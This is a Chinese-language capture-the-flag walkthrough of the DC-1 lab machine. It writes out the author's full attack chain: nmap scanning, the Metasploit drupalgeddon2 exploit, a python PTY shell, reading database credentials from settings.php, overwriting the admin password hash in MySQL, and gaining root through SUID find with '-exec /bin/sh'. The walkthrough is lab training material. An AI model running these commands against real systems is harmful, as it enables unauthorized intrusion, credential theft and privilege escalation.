安装好靶机后,使用nmap对同网段的存活主机进行扫描,得到靶机的开放端口,这里nmap的命令需要用管理员命令执行
sudo nmap -T4 -sT -O 192.168.8.1/24
得到靶机开放的端口,有22,80和111,其中22端口可以连接ssh服务,80端口的http服务以及111端口,SUN公司的RPC(Remote Procedure Call,远程过程调用)服务所开放的端口,主要用于分布式系统中不同计算机的内部进程通信,有rpcbind漏洞
本次操作中没有用到22和111端口
既然有80端口,那就直接去访问网页
刚开始摸不到头脑,傻傻的还去扫了网站目录,然后才知道这个网站用的是Drupal,这个CMS的漏洞还挺多,去Metasploit一搜便有,直接用第四个exp,别的似乎不得行。
search drupal
use exploit/unix/webapp/drupal_drupalgeddon2
查看payload的参数,编辑攻击目标机器的IP地址
show options
set RHOSTS 192.168.8.154
运行payload开始攻击,得到返回的会话窗口,攻击成功
获取shell,然后为了交互更加清晰,利用python反弹shell回来,查看当前权限,是www-data,权限很低
python -c "import pty;pty.spawn('/bin/bash')"
或者
python -c "import pty;pty.spawn('/bin/sh')"
拿到shell后肯定得看看当前文件夹的东西,可以看见图中有flag1.txt,打开康康,看这句话的意思是提示我们去找网站的配置文件
在一堆文件中翻了半天,终于翻到了配置文件,其实更聪明的做法是上网搜索drupal的配置文件在哪里
配置文件位置/var/www/sites/default/settings.php
打开来看看,好嘛,获得了数据库的用户名和密码,以及flag2
有了数据库的用户名和密码,这肯定得去数据库逛一圈,看看有没有用户以及密码,先看看mysql服务有没有开,用ps查看所有进程,然后利用grep筛选mysql服务的端口号3306
ps aux|grep 3306
既然数据库服务开着,那么我就要进来咯
mysql -udbuser -pR0ck3t
进入数据库drupaldb,查看表,发现users较为可疑,查看users表的内容,有用户admin和Fred,密码都是被加密过的
此时,去参考别人的wp,原来每个cms都有一套自己的加密脚本。得知这个后,思路就清晰了,先利用这个脚本将自己修改的密码加密,然后将admin的密码密文修改为我们自己的,这样就可以去利用admin的身份登录网站了
于是目标变成了寻找加密脚本,在/var/www/scripts文件夹下发现名为passwod-hash.sh的脚本文件
打开文件,里面是加密代码,但是我看懂了最后一句,这不就是把输入的密码加密后返回输出嘛,那也就是直接用脚本将自己的密码输入,然后等待密文输出就行
这里出了点小插曲,不知为何直接在scripts文件夹下调用password-hash.sh就会报错,而从www文件夹下调用则不会出错,懂得大佬可以解释一下吗
这是直接在scripts文件夹下调用./password-hash.sh 123123
这是在www文件夹下调用./scripts/password-hash.sh 123123
小插曲过了之后,我得到了123123加密后的密文$S$D4iRWkvx3ubw.Z9ha3YVkztuQauW2kl6t9SXmaX26pMf8AGltwa9
打开mysql数据库,用这段hash密文将admin下的pass替换
update users set pass="$S$D4iRWkvx3ubw.Z9ha3YVkztuQauW2kl6t9SXmaX26pMf8AGltwa9" where uid=1;
查看发现pass已被修改
回到网站,使用admin账号登录,密码123123
可以登录,用户为admin
在以前的内容中翻到了flag3.txt,文中提到了passwd,那就准备去/etc/passwd看看
可以看见最后一行,有用户flag4,在home/flag4可能会有信息
cat /etc/passwd
果然,有flag在root用户文件夹下,我们需要提权为root才能进去查看
首先查看具有suid 权限的可执行二进制程序,两种方法,最后的2>/dev/null的作用是将错误信息输出到/dev/null,这个地方也可以被理解为一个垃圾桶吧,也就是不让垃圾信息干扰我们获得的信息
find / -perm -4000 -type f 2>/dev/null
或者
find / -perm -u=s -type f 2>/dev/null
可以看见find命令有suid权限,也就意味着他能以root身份执行程序,如果find不具有suid权限,那提了也只是普通权限
这里利用find命令提权,flag4.txt可以替换为一个任意存在的文件,否则会报错
find / -exec "/bin/sh" \;
查看权限为root,提权成功
进入root文件夹下,看见有名为thefinalflag.txt,看样子这是最后一个flag了,至此DC-1靶机通关完成
最大的收获彻底了解了find提权的原理
find命令中-exec参数是用来执行命令的
正常是find dir -exec cmd \;
而find dir -exec cmd {} \;
中,通常需要后面的cmd命令来处理前面find查找到的文件,所以就需要把文件名传给cmd,此时{}的作用就显现出来了,{}是来表示find到的文件名,做占位符用。而后面的\是因为shell中会把;识别为结尾,此时在shell看来,输入的命令则是find dir -exec cmd {}
,对比图如下两个